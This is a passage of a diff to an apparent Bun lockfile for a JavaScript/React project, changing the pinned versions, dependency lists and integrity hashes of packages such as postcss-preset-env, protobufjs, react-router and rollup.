+ "postcss-opacity-percentage": ["postcss-opacity-percentage@2.0.0", "", { "peerDependencies": { "postcss": "^8.2" } }, "sha512-lyDrCOtntq5Y1JZpBFzIWm2wG9kbEdujpNt4NLannF+J9c8CgFIzPa80YQfdza+Y+yFfzbYj/rfoOsYsooUWTQ=="],
"postcss-ordered-values": ["postcss-ordered-values@5.1.3", "", { "dependencies": { "cssnano-utils": "^3.1.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.2.15" } }, "sha512-9UO79VUhPwEkzbb3RNpqqghc6lcYej1aveQteWY+4POIwlqkYE21HKWaLDF6lWNuqCobEAyTovVhtI32Rbv2RQ=="],
- "postcss-overflow-shorthand": ["postcss-overflow-shorthand@7.0.0", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-9SLpjoUdGRoRrzoOdX66HbUs0+uDwfIAiXsRa7piKGOqPd6F4ZlON9oaDSP5r1Qpgmzw5L9Ht0undIK6igJPMA=="],
+ "postcss-overflow-shorthand": ["postcss-overflow-shorthand@4.0.1", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-HQZ0qi/9iSYHW4w3ogNqVNr2J49DHJAl7r8O2p0Meip38jsdnRPgiDW7r/LlLrrMBMe3KHkvNtAV2UmRVxzLIg=="],
"postcss-page-break": ["postcss-page-break@3.0.4", "", { "peerDependencies": { "postcss": "^8" } }, "sha512-1JGu8oCjVXLa9q9rFTo4MbeeA5FMe00/9C7lN4va606Rdb+HkxXtXsmEDrIraQ11fGz/WvKWa8gMuCKkrXpTsQ=="],
- "postcss-place": ["postcss-place@11.0.0", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-fAifpyjQ+fuDRp2nmF95WbotqbpjdazebedahXdfBxy5sHembOLpBQ1cHveZD9ZmjK26tYM8tikeNaUlp/KfHA=="],
+ "postcss-place": ["postcss-place@8.0.1", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-Ow2LedN8sL4pq8ubukO77phSVt4QyCm35ZGCYXKvRFayAwcpgB0sjNJglDoTuRdUL32q/ZC1VkPBo0AOEr4Uiw=="],
- "postcss-preset-env": ["postcss-preset-env@11.2.0", "", { "dependencies": { "@csstools/postcss-alpha-function": "^2.0.3", "@csstools/postcss-cascade-layers": "^6.0.0", "@csstools/postcss-color-function": "^5.0.2", "@csstools/postcss-color-function-display-p3-linear": "^2.0.2", "@csstools/postcss-color-mix-function": "^4.0.2", "@csstools/postcss-color-mix-variadic-function-arguments": "^2.0.2", "@csstools/postcss-content-alt-text": "^3.0.0", "@csstools/postcss-contrast-color-function": "^3.0.2", "@csstools/postcss-exponential-functions": "^3.0.1", "@csstools/postcss-font-format-keywords": "^5.0.0", "@csstools/postcss-font-width-property": "^1.0.0", "@csstools/postcss-gamut-mapping": "^3.0.2", "@csstools/postcss-gradients-interpolation-method": "^6.0.2", "@csstools/postcss-hwb-function": "^5.0.2", "@csstools/postcss-ic-unit": "^5.0.0", "@csstools/postcss-initial": "^3.0.0", "@csstools/postcss-is-pseudo-class": "^6.0.0", "@csstools/postcss-light-dark-function": "^3.0.0", "@csstools/postcss-logical-float-and-clear": "^4.0.0", "@csstools/postcss-logical-overflow": "^3.0.0", "@csstools/postcss-logical-overscroll-behavior": "^3.0.0", "@csstools/postcss-logical-resize": "^4.0.0", "@csstools/postcss-logical-viewport-units": "^4.0.0", "@csstools/postcss-media-minmax": "^3.0.1", "@csstools/postcss-media-queries-aspect-ratio-number-values": "^4.0.0", "@csstools/postcss-mixins": "^1.0.0", "@csstools/postcss-nested-calc": "^5.0.0", "@csstools/postcss-normalize-display-values": "^5.0.1", "@csstools/postcss-oklab-function": "^5.0.2", "@csstools/postcss-position-area-property": "^2.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/postcss-property-rule-prelude-list": "^2.0.0", "@csstools/postcss-random-function": "^3.0.1", "@csstools/postcss-relative-color-syntax": "^4.0.2", "@csstools/postcss-scope-pseudo-class": "^5.0.0", "@csstools/postcss-sign-functions": "^2.0.1", "@csstools/postcss-stepped-value-functions": "^5.0.1", "@csstools/postcss-syntax-descriptor-syntax-production": "^2.0.0", "@csstools/postcss-system-ui-font-family": "^2.0.0", "@csstools/postcss-text-decoration-shorthand": "^5.0.3", "@csstools/postcss-trigonometric-functions": "^5.0.1", "@csstools/postcss-unset-value": "^5.0.0", "autoprefixer": "^10.4.24", "browserslist": "^4.28.1", "css-blank-pseudo": "^8.0.1", "css-has-pseudo": "^8.0.0", "css-prefers-color-scheme": "^11.0.0", "cssdb": "^8.8.0", "postcss-attribute-case-insensitive": "^8.0.0", "postcss-clamp": "^4.1.0", "postcss-color-functional-notation": "^8.0.2", "postcss-color-hex-alpha": "^11.0.0", "postcss-color-rebeccapurple": "^11.0.0", "postcss-custom-media": "^12.0.1", "postcss-custom-properties": "^15.0.1", "postcss-custom-selectors": "^9.0.1", "postcss-dir-pseudo-class": "^10.0.0", "postcss-double-position-gradients": "^7.0.0", "postcss-focus-visible": "^11.0.0", "postcss-focus-within": "^10.0.0", "postcss-font-variant": "^5.0.0", "postcss-gap-properties": "^7.0.0", "postcss-image-set-function": "^8.0.0", "postcss-lab-function": "^8.0.2", "postcss-logical": "^9.0.0", "postcss-nesting": "^14.0.0", "postcss-opacity-percentage": "^3.0.0", "postcss-overflow-shorthand": "^7.0.0", "postcss-page-break": "^3.0.4", "postcss-place": "^11.0.0", "postcss-pseudo-class-any-link": "^11.0.0", "postcss-replace-overflow-wrap": "^4.0.0", "postcss-selector-not": "^9.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-eNYpuj68cjGjvZMoSAbHilaCt3yIyzBL1cVuSGJfvJewsaBW/U6dI2bqCJl3iuZsL+yvBobcy4zJFA/3I68IHQ=="],
+ "postcss-preset-env": ["postcss-preset-env@8.5.1", "", { "dependencies": { "@csstools/postcss-cascade-layers": "^3.0.1", "@csstools/postcss-color-function": "^2.2.3", "@csstools/postcss-color-mix-function": "^1.0.3", "@csstools/postcss-font-format-keywords": "^2.0.2", "@csstools/postcss-gradients-interpolation-method": "^3.0.6", "@csstools/postcss-hwb-function": "^2.2.2", "@csstools/postcss-ic-unit": "^2.0.4", "@csstools/postcss-is-pseudo-class": "^3.2.1", "@csstools/postcss-logical-float-and-clear": "^1.0.1", "@csstools/postcss-logical-resize": "^1.0.1", "@csstools/postcss-logical-viewport-units": "^1.0.3", "@csstools/postcss-media-minmax": "^1.0.4", "@csstools/postcss-media-queries-aspect-ratio-number-values": "^1.0.4", "@csstools/postcss-nested-calc": "^2.0.2", "@csstools/postcss-normalize-display-values": "^2.0.1", "@csstools/postcss-oklab-function": "^2.2.3", "@csstools/postcss-progressive-custom-properties": "^2.3.0", "@csstools/postcss-relative-color-syntax": "^1.0.2", "@csstools/postcss-scope-pseudo-class": "^2.0.2", "@csstools/postcss-stepped-value-functions": "^2.1.1", "@csstools/postcss-text-decoration-shorthand": "^2.2.4", "@csstools/postcss-trigonometric-functions": "^2.1.1", "@csstools/postcss-unset-value": "^2.0.1", "autoprefixer": "^10.4.14", "browserslist": "^4.21.9", "css-blank-pseudo": "^5.0.2", "css-has-pseudo": "^5.0.2", "css-prefers-color-scheme": "^8.0.2", "cssdb": "^7.6.0", "postcss-attribute-case-insensitive": "^6.0.2", "postcss-clamp": "^4.1.0", "postcss-color-functional-notation": "^5.1.0", "postcss-color-hex-alpha": "^9.0.2", "postcss-color-rebeccapurple": "^8.0.2", "postcss-custom-media": "^9.1.5", "postcss-custom-properties": "^13.2.0", "postcss-custom-selectors": "^7.1.3", "postcss-dir-pseudo-class": "^7.0.2", "postcss-double-position-gradients": "^4.0.4", "postcss-focus-visible": "^8.0.2", "postcss-focus-within": "^7.0.2", "postcss-font-variant": "^5.0.0", "postcss-gap-properties": "^4.0.1", "postcss-image-set-function": "^5.0.2", "postcss-initial": "^4.0.1", "postcss-lab-function": "^5.2.3", "postcss-logical": "^6.2.0", "postcss-nesting": "^11.3.0", "postcss-opacity-percentage": "^2.0.0", "postcss-overflow-shorthand": "^4.0.1", "postcss-page-break": "^3.0.4", "postcss-place": "^8.0.1", "postcss-pseudo-class-any-link": "^8.0.2", "postcss-replace-overflow-wrap": "^4.0.0", "postcss-selector-not": "^7.0.1", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-qhWnJJjP6ArLUINWJ38t6Aftxnv9NW6cXK0NuwcLCcRilbuw72dSFLkCVUJeCfHGgJiKzX+pnhkGiki0PEynWg=="],
- "postcss-pseudo-class-any-link": ["postcss-pseudo-class-any-link@11.0.0", "", { "dependencies": { "postcss-selector-parser": "^7.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-DNFZ4GMa3C3pU5dM+UCTG1CEeLtS1ZqV5DKSqCTJQMn1G5jnd/30fS8+A7H4o5bSD3MOcnx+VgI+xPE9Z5Wvig=="],
+ "postcss-pseudo-class-any-link": ["postcss-pseudo-class-any-link@8.0.2", "", { "dependencies": { "postcss-selector-parser": "^6.0.10" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-FYTIuRE07jZ2CW8POvctRgArQJ43yxhr5vLmImdKUvjFCkR09kh8pIdlCwdx/jbFm7MiW4QP58L4oOUv3grQYA=="],
"postcss-reduce-initial": ["postcss-reduce-initial@5.1.2", "", { "dependencies": { "browserslist": "^4.21.4", "caniuse-api": "^3.0.0" }, "peerDependencies": { "postcss": "^8.2.15" } }, "sha512-dE/y2XRaqAi6OvjzD22pjTUQ8eOfc6m/natGHgKFBK9DxFmIm69YmaRVQrGgFlEfc1HePIurY0TmDeROK05rIg=="],
@@ -4181,7 +3903,7 @@
"postcss-replace-overflow-wrap": ["postcss-replace-overflow-wrap@4.0.0", "", { "peerDependencies": { "postcss": "^8.0.3" } }, "sha512-KmF7SBPphT4gPPcKZc7aDkweHiKEEO8cla/GjcBK+ckKxiZslIu3C4GCRW3DNfL0o7yW7kMQu9xlZ1kXRXLXtw=="],
- "postcss-selector-not": ["postcss-selector-not@9.0.0", "", { "dependencies": { "postcss-selector-parser": "^7.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-xhAtTdHnVU2M/CrpYOPyRUvg3njhVlKmn2GNYXDaRJV9Ygx4d5OkSkc7NINzjUqnbDFtaKXlISOBeyMXU/zyFQ=="],
+ "postcss-selector-not": ["postcss-selector-not@7.0.1", "", { "dependencies": { "postcss-selector-parser": "^6.0.10" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-1zT5C27b/zeJhchN7fP0kBr16Cc61mu7Si9uWWLoA3Px/D9tIJPKchJCkUH3tPO5D0pCFmGeApAv8XpXBQJ8SQ=="],
"postcss-selector-parser": ["postcss-selector-parser@6.0.15", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-rEYkQOMUCEMhsKbK66tbEU9QVIxbhN18YiniAwA7XQYTVBqrBy+P2p5JcdqsHgKM2zWylp8d7J6eszocfds5Sw=="],
@@ -4215,7 +3937,7 @@
"property-information": ["property-information@6.4.1", "", {}, "sha512-OHYtXfu5aI2sS2LWFSN5rgJjrQ4pCy8i1jubJLe2QvMF8JJ++HXTUIVWFLfXJoaOfvYYjk2SN8J2wFUWIGXT4w=="],
- "protobufjs": ["protobufjs@7.5.4", "", { "dependencies": { "@protobufjs/aspromise": "^1.1.2", "@protobufjs/base64": "^1.1.2", "@protobufjs/codegen": "^2.0.4", "@protobufjs/eventemitter": "^1.1.0", "@protobufjs/fetch": "^1.1.0", "@protobufjs/float": "^1.0.2", "@protobufjs/inquire": "^1.1.0", "@protobufjs/path": "^1.1.2", "@protobufjs/pool": "^1.1.0", "@protobufjs/utf8": "^1.1.0", "@types/node": ">=13.7.0", "long": "^5.0.0" } }, "sha512-CvexbZtbov6jW2eXAvLukXjXUW1TzFaivC46BpWc/3BpcCysb5Vffu+B3XHMm8lVEuy2Mm4XGex8hBSg1yapPg=="],
+ "protobufjs": ["protobufjs@7.4.0", "", { "dependencies": { "@protobufjs/aspromise": "^1.1.2", "@protobufjs/base64": "^1.1.2", "@protobufjs/codegen": "^2.0.4", "@protobufjs/eventemitter": "^1.1.0", "@protobufjs/fetch": "^1.1.0", "@protobufjs/float": "^1.0.2", "@protobufjs/inquire": "^1.1.0", "@protobufjs/path": "^1.1.2", "@protobufjs/pool": "^1.1.0", "@protobufjs/utf8": "^1.1.0", "@types/node": ">=13.7.0", "long": "^5.0.0" } }, "sha512-mRUWCc3KUU4w1jU8sGxICXH/gNS94DvI1gxqDvBzhj1JpcsimQkYiOJfwsPUykUI5ZaspFbSgmBLER8IrQ3tqw=="],
"proxy-addr": ["proxy-addr@2.0.7", "", { "dependencies": { "forwarded": "0.2.0", "ipaddr.js": "1.9.1" } }, "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg=="],
@@ -4223,6 +3945,8 @@
"pseudomap": ["pseudomap@1.0.2", "", {}, "sha512-b/YwNhb8lk1Zz2+bXXpS/LK9OisiZZ1SNsSLxN1x2OXVEhW2Ckr/7mWE5vrC1ZTiJlD9g19jWszTmJsB+oEpFQ=="],
+ "psl": ["psl@1.9.0", "", {}, "sha512-E/ZsdU4HLs/68gYzgGTkMicWTLPdAftJLfJFlLUAAKZGkStNU72sZjT66SnMDVOfOWY/YAoiD7Jxa9iHvngcag=="],
+
"pstree.remy": ["pstree.remy@1.1.8", "", {}, "sha512-77DZwxQmxKnu3aR542U+X8FypNzbfJ+C5XQDk3uWjWxn6151aIMGthWYRXTqT1E5oJvg+ljaa2OJi+VfvCOQ8w=="],
"public-encrypt": ["public-encrypt@4.0.3", "", { "dependencies": { "bn.js": "^4.1.0", "browserify-rsa": "^4.0.0", "create-hash": "^1.1.0", "parse-asn1": "^5.0.0", "randombytes": "^2.0.1", "safe-buffer": "^5.1.2" } }, "sha512-zVpa8oKZSz5bTMTFClc1fQOnyyEzpl5ozpi1B5YcvBrdohMjH2rfsBtyXcuNuwjsDIXmBYlF2N5FlJYhR29t8Q=="],
@@ -4237,6 +3961,8 @@
"querystring-es3": ["querystring-es3@0.2.1", "", {}, "sha512-773xhDQnZBMFobEiztv8LIl70ch5MSF/jUQVlhwFyBILqq96anmoctVIYz+ZRp0qbCKATTn6ev02M3r7Ga5vqA=="],
+ "querystringify": ["querystringify@2.2.0", "", {}, "sha512-FIqgj2EUvTa7R50u0rGsyTftzjYmv/a3hO345bZNrqabNqjtgiDMgmo4mkUjd+nzU5oF3dClKqFIPUKybUyqoQ=="],
+
"queue-microtask": ["queue-microtask@1.2.3", "", {}, "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A=="],
"random-bytes": ["random-bytes@1.0.0", "", {}, "sha512-iv7LhNVO047HzYR3InF6pUcUsPQiHTM1Qal51DcGSuZFBil1aBBWG5eHPNek7bvILMaYJ/8RU1e8w1AMdHmLQQ=="],
@@ -4277,21 +4003,23 @@
"react-is": ["react-is@17.0.2", "", {}, "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w=="],
+ "react-lazy-load-image-component": ["react-lazy-load-image-component@1.6.0", "", { "dependencies": { "lodash.debounce": "^4.0.8", "lodash.throttle": "^4.1.1" }, "peerDependencies": { "react": "^15.x.x || ^16.x.x || ^17.x.x || ^18.x.x", "react-dom": "^15.x.x || ^16.x.x || ^17.x.x || ^18.x.x" } }, "sha512-8KFkDTgjh+0+PVbH+cx0AgxLGbdTsxWMnxXzU5HEUztqewk9ufQAu8cstjZhyvtMIPsdMcPZfA0WAa7HtjQbBQ=="],
+
"react-lifecycles-compat": ["react-lifecycles-compat@3.0.4", "", {}, "sha512-fBASbA6LnOU9dOU2eW7aQ8xmYBSXUIWr+UmF9b1efZBazGNO+rcXT/icdKnYm2pTwcRylVUYwW7H1PHfLekVzA=="],
"react-markdown": ["react-markdown@9.0.1", "", { "dependencies": { "@types/hast": "^3.0.0", "devlop": "^1.0.0", "hast-util-to-jsx-runtime": "^2.0.0", "html-url-attributes": "^3.0.0", "mdast-util-to-hast": "^13.0.0", "remark-parse": "^11.0.0", "remark-rehype": "^11.0.0", "unified": "^11.0.0", "unist-util-visit": "^5.0.0", "vfile": "^6.0.0" }, "peerDependencies": { "@types/react": ">=18", "react": ">=18" } }, "sha512-186Gw/vF1uRkydbsOIkcGXw7aHq0sZOCRFFjGrr7b9+nVZg4UfA4enXCaxm4fUzecU38sWfrNDitGhshuU7rdg=="],
- "react-refresh": ["react-refresh@0.18.0", "", {}, "sha512-QgT5//D3jfjJb6Gsjxv0Slpj23ip+HtOpnNgnb2S5zU3CB26G/IDPGoy4RJB42wzFE46DRsstbW6tKHoKbhAxw=="],
+ "react-refresh": ["react-refresh@0.14.2", "", {}, "sha512-jCvmsr+1IUSMUyzOkRcvnVbX3ZYC6g9TDrDbFuFmRDq7PD4yaGbLKNQL6k2jnArV8hjYxh7hVhAZB6s9HDGpZA=="],
- "react-remove-scroll": ["react-remove-scroll@2.5.5", "", { "dependencies": { "react-remove-scroll-bar": "^2.3.3", "react-style-singleton": "^2.2.1", "tslib": "^2.1.0", "use-callback-ref": "^1.3.0", "use-sidecar": "^1.1.2" }, "peerDependencies": { "@types/react": "^16.8.0 || ^17.0.0 || ^18.0.0", "react": "^16.8.0 || ^17.0.0 || ^18.0.0" } }, "sha512-ImKhrzJJsyXJfBZ4bzu8Bwpka14c/fQt0k+cyFp/PBhTfyDnU5hjOtM4AG/0AMyy8oKzOTR0lDgJIM7pYXI0kw=="],
+ "react-remove-scroll": ["react-remove-scroll@2.7.1", "", { "dependencies": { "react-remove-scroll-bar": "^2.3.7", "react-style-singleton": "^2.2.3", "tslib": "^2.1.0", "use-callback-ref": "^1.3.3", "use-sidecar": "^1.1.3" }, "peerDependencies": { "@types/react": "*", "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" } }, "sha512-HpMh8+oahmIdOuS5aFKKY6Pyog+FNaZV/XyJOq7b4YFwsFHe5yYfdbIalI4k3vU2nSDql7YskmUseHsRrJqIPA=="],
"react-remove-scroll-bar": ["react-remove-scroll-bar@2.3.8", "", { "dependencies": { "react-style-singleton": "^2.2.2", "tslib": "^2.0.0" }, "peerDependencies": { "@types/react": "*", "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-9r+yi9+mgU33AKcj6IbT9oRCO78WriSj6t/cF8DWBZJ9aOGPOTEDvdUDz1FwKim7QXWwmHqtdHnRJfhAxEG46Q=="],
"react-resizable-panels": ["react-resizable-panels@3.0.6", "", { "peerDependencies": { "react": "^16.14.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc", "react-dom": "^16.14.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" } }, "sha512-b3qKHQ3MLqOgSS+FRYKapNkJZf5EQzuf6+RLiq1/IlTHw99YrZ2NJZLk4hQIzTnnIkRg2LUqyVinu6YWWpUYew=="],
- "react-router": ["react-router@6.30.3", "", { "dependencies": { "@remix-run/router": "1.23.2" }, "peerDependencies": { "react": ">=16.8" } }, "sha512-XRnlbKMTmktBkjCLE8/XcZFlnHvr2Ltdr1eJX4idL55/9BbORzyZEaIkBFDhFGCEWBBItsVrDxwx3gnisMitdw=="],
+ "react-router": ["react-router@6.22.0", "", { "dependencies": { "@remix-run/router": "1.15.0" }, "peerDependencies": { "react": ">=16.8" } }, "sha512-q2yemJeg6gw/YixRlRnVx6IRJWZD6fonnfZhN1JIOhV2iJCPeRNSH3V1ISwHf+JWcESzLC3BOLD1T07tmO5dmg=="],
- "react-router-dom": ["react-router-dom@6.30.3", "", { "dependencies": { "@remix-run/router": "1.23.2", "react-router": "6.30.3" }, "peerDependencies": { "react": ">=16.8", "react-dom": ">=16.8" } }, "sha512-pxPcv1AczD4vso7G4Z3TKcvlxK7g7TNt3/FNGMhfqyntocvYKj+GCatfigGDjbLozC4baguJ0ReCigoDJXb0ag=="],
+ "react-router-dom": ["react-router-dom@6.22.0", "", { "dependencies": { "@remix-run/router": "1.15.0", "react-router": "6.22.0" }, "peerDependencies": { "react": ">=16.8", "react-dom": ">=16.8" } }, "sha512-z2w+M4tH5wlcLmH3BMMOMdrtrJ9T3oJJNsAlBJbwk+8Syxd5WFJ7J5dxMEW0/GEXD1BBis4uXRrNIz3mORr0ag=="],
"react-speech-recognition": ["react-speech-recognition@3.10.0", "", { "peerDependencies": { "react": ">=16.8.0" } }, "sha512-EVSr4Ik8l9urwdPiK2r0+ADrLyDDrjB0qBRdUWO+w2MfwEBrj6NuRmy1GD3x7BU/V6/hab0pl8Lupen0zwlJyw=="],
@@ -4305,7 +4033,9 @@
"read-cache": ["read-cache@1.0.0", "", { "dependencies": { "pify": "^2.3.0" } }, "sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA=="],
- "readable-stream": ["readable-stream@2.3.8", "", { "dependencies": { "core-util-is": "~1.0.0", "inherits": "~2.0.3", "isarray": "~1.0.0", "process-nextick-args": "~2.0.0", "safe-buffer": "~5.1.1", "string_decoder": "~1.1.1", "util-deprecate": "~1.0.1" } }, "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA=="],
+ "readable-stream": ["readable-stream@3.6.2", "", { "dependencies": { "inherits": "^2.0.3", "string_decoder": "^1.1.1", "util-deprecate": "^1.0.1" } }, "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA=="],
+
+ "readable-web-to-node-stream": ["readable-web-to-node-stream@3.0.2", "", { "dependencies": { "readable-stream": "^3.6.0" } }, "sha512-ePeK6cc1EcKLEhJFt/AebMCLL+GgSKhuygrZ/GLaKZYEecIgIECf4UaUuaByiGtzckwR4ain9VzUh95T1exYGw=="],
"readdirp": ["readdirp@3.6.0", "", { "dependencies": { "picomatch": "^2.2.1" } }, "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA=="],
@@ -4327,6 +4057,8 @@
"regenerator-runtime": ["regenerator-runtime@0.14.1", "", {}, "sha512-dYnhHh0nJoMfnkZs6GmmhFknAGRrLznOu5nc9ML+EJxGvrx6H7teuevqVqCuPcPK//3eDrrjQhehXVx9cnkGdw=="],
+ "regenerator-transform": ["regenerator-transform@0.15.2", "", { "dependencies": { "@babel/runtime": "^7.8.4" } }, "sha512-hfMp2BoF0qOk3uc5V20ALGDS2ddjQaLrdl7xrGXvAIow7qeWRM2VA2HuCHkUKk9slq3VwEwLNK3DFBqDfPGYtg=="],
+
"regexp.prototype.flags": ["regexp.prototype.flags@1.5.4", "", { "dependencies": { "call-bind": "^1.0.8", "define-properties": "^1.2.1", "es-errors": "^1.3.0", "get-proto": "^1.0.1", "gopd": "^1.2.0", "set-function-name": "^2.0.2" } }, "sha512-dYqgNSZbDwkaJ2ceRd9ojCGjBq+mOm9LmtXnAnEGyHhN/5R7iDW2TRw3h+o/jCFxus3P2LfWIIiwowAjANm7IA=="],
"regexpu-core": ["regexpu-core@6.2.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.0", "regjsgen": "^0.8.0", "regjsparser": "^0.12.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.1.0" } }, "sha512-H66BPQMrv+V16t8xtmq+UC0CBpiTBA60V8ibS1QVReIp8T1z8hwFxqcGzm9K6lgsN7sB5edVH8a+ze6Fqm4weA=="],
@@ -4365,6 +4097,8 @@
"requireindex": ["requireindex@1.1.0", "", {}, "sha512-LBnkqsDE7BZKvqylbmn7lTIVdpx4K/QCduRATpO5R+wtPmky/a8pN1bO2D6wXppn1497AJF9mNjqAXr6bdl9jg=="],
+ "requires-port": ["requires-port@1.0.0", "", {}, "sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ=="],
+
"resolve": ["resolve@2.0.0-next.5", "", { "dependencies": { "is-core-module": "^2.13.0", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": "bin/resolve" }, "sha512-U7WjGVG9sH8tvjW5SmGbQuui75FiyjAX72HX15DwBBwF9dNiQZRQAg9nnPhYy+TUnE0+VcrttuvNI8oSxZcocA=="],
"resolve-cwd": ["resolve-cwd@3.0.0", "", { "dependencies": { "resolve-from": "^5.0.0" } }, "sha512-OrZaX2Mb+rJCpH/6CpSqt9xFVpN++x01XnN2ie9g6P5/3xelLAkXWVADpdz1IHD/KFfEXyE6V0U01OQ3UO2rEg=="],
@@ -4381,13 +4115,11 @@
"rfdc": ["rfdc@1.4.1", "", {}, "sha512-q1b3N5QkRUWUl7iyylaaj3kOpIT0N2i9MqIEQXP73GVsN9cw3fdx8X63cEmWhJGi2PPCF23Ijp7ktmd39rawIA=="],
- "rimraf": ["rimraf@6.1.3", "", { "dependencies": { "glob": "^13.0.3", "package-json-from-dist": "^1.0.1" }, "bin": { "rimraf": "dist/esm/bin.mjs" } }, "sha512-LKg+Cr2ZF61fkcaK1UdkH2yEBBKnYjTyWzTJT6KNPcSPaiT7HSdhtMXQuN5wkTX0Xu72KQ1l8S42rlmexS2hSA=="],
+ "rimraf": ["rimraf@6.1.2", "", { "dependencies": { "glob": "^13.0.0", "package-json-from-dist": "^1.0.1" }, "bin": "dist/esm/bin.mjs" }, "sha512-cFCkPslJv7BAXJsYlK1dZsbP8/ZNLkCAQ0bi1hf5EKX2QHegmDFEFA6QhuYJlk7UDdc+02JjO80YSOrWPpw06g=="],
"ripemd160": ["ripemd160@2.0.2", "", { "dependencies": { "hash-base": "^3.0.0", "inherits": "^2.0.1" } }, "sha512-ii4iagi25WusVoiC4B4lq7pbXfAp3D9v5CwfkY33vffw2+pkDjY1D8GaN7spsxvCSx8dkPqOZCEZyfxcmJG2IA=="],
- "robust-predicates": ["robust-predicates@3.0.2", "", {}, "sha512-IXgzBWvWQwE6PrDI05OvmXUIruQTcoMDzRsOd5CDvHCVLcLHMTSYvOK5Cm46kWqlV3yAbuSpBZdJ5oP5OUoStg=="],
-
- "rollup": ["rollup@4.59.0", "", { "dependencies": { "@types/estree": "1.0.8" }, "optionalDependencies": { "@rollup/rollup-android-arm-eabi": "4.59.0", "@rollup/rollup-android-arm64": "4.59.0", "@rollup/rollup-darwin-arm64": "4.59.0", "@rollup/rollup-darwin-x64": "4.59.0", "@rollup/rollup-freebsd-arm64": "4.59.0", "@rollup/rollup-freebsd-x64": "4.59.0", "@rollup/rollup-linux-arm-gnueabihf": "4.59.0", "@rollup/rollup-linux-arm-musleabihf": "4.59.0", "@rollup/rollup-linux-arm64-gnu": "4.59.0", "@rollup/rollup-linux-arm64-musl": "4.59.0", "@rollup/rollup-linux-loong64-gnu": "4.59.0", "@rollup/rollup-linux-loong64-musl": "4.59.0", "@rollup/rollup-linux-ppc64-gnu": "4.59.0", "@rollup/rollup-linux-ppc64-musl": "4.59.0", "@rollup/rollup-linux-riscv64-gnu": "4.59.0", "@rollup/rollup-linux-riscv64-musl": "4.59.0", "@rollup/rollup-linux-s390x-gnu": "4.59.0", "@rollup/rollup-linux-x64-gnu": "4.59.0", "@rollup/rollup-linux-x64-musl": "4.59.0", "@rollup/rollup-openbsd-x64": "4.59.0", "@rollup/rollup-openharmony-arm64": "4.59.0", "@rollup/rollup-win32-arm64-msvc": "4.59.0", "@rollup/rollup-win32-ia32-msvc": "4.59.0", "@rollup/rollup-win32-x64-gnu": "4.59.0", "@rollup/rollup-win32-x64-msvc": "4.59.0", "fsevents": "~2.3.2" }, "bin": { "rollup": "dist/bin/rollup" } }, "sha512-2oMpl67a3zCH9H79LeMcbDhXW/UmWG/y2zuqnF2jQq5uq9TbM9TVyXvA4+t+ne2IIkBdrLpAaRQAvo7YI/Yyeg=="],
+ "rollup": ["rollup@4.37.0", "", { "dependencies": { "@types/estree": "1.0.6" }, "optionalDependencies": { "@rollup/rollup-android-arm-eabi": "4.37.0", "@rollup/rollup-android-arm64": "4.37.0", "@rollup/rollup-darwin-arm64": "4.37.0", "@rollup/rollup-darwin-x64": "4.37.0", "@rollup/rollup-freebsd-arm64": "4.37.0", "@rollup/rollup-freebsd-x64": "4.37.0", "@rollup/rollup-linux-arm-gnueabihf": "4.37.0", "@rollup/rollup-linux-arm-musleabihf": "4.37.0", "@rollup/rollup-linux-arm64-gnu": "4.37.0", "@rollup/rollup-linux-arm64-musl": "4.37.0", "@rollup/rollup-linux-loongarch64-gnu": "4.37.0", "@rollup/rollup-linux-powerpc64le-gnu": "4.37.0", "@rollup/rollup-linux-riscv64-gnu": "4.37.0", "@rollup/rollup-linux-riscv64-musl": "4.37.0", "@rollup/rollup-linux-s390x-gnu": "4.37.0", "@rollup/rollup-linux-x64-gnu": "4.37.0", "@rollup/rollup-linux-x64-musl": "4.37.0", 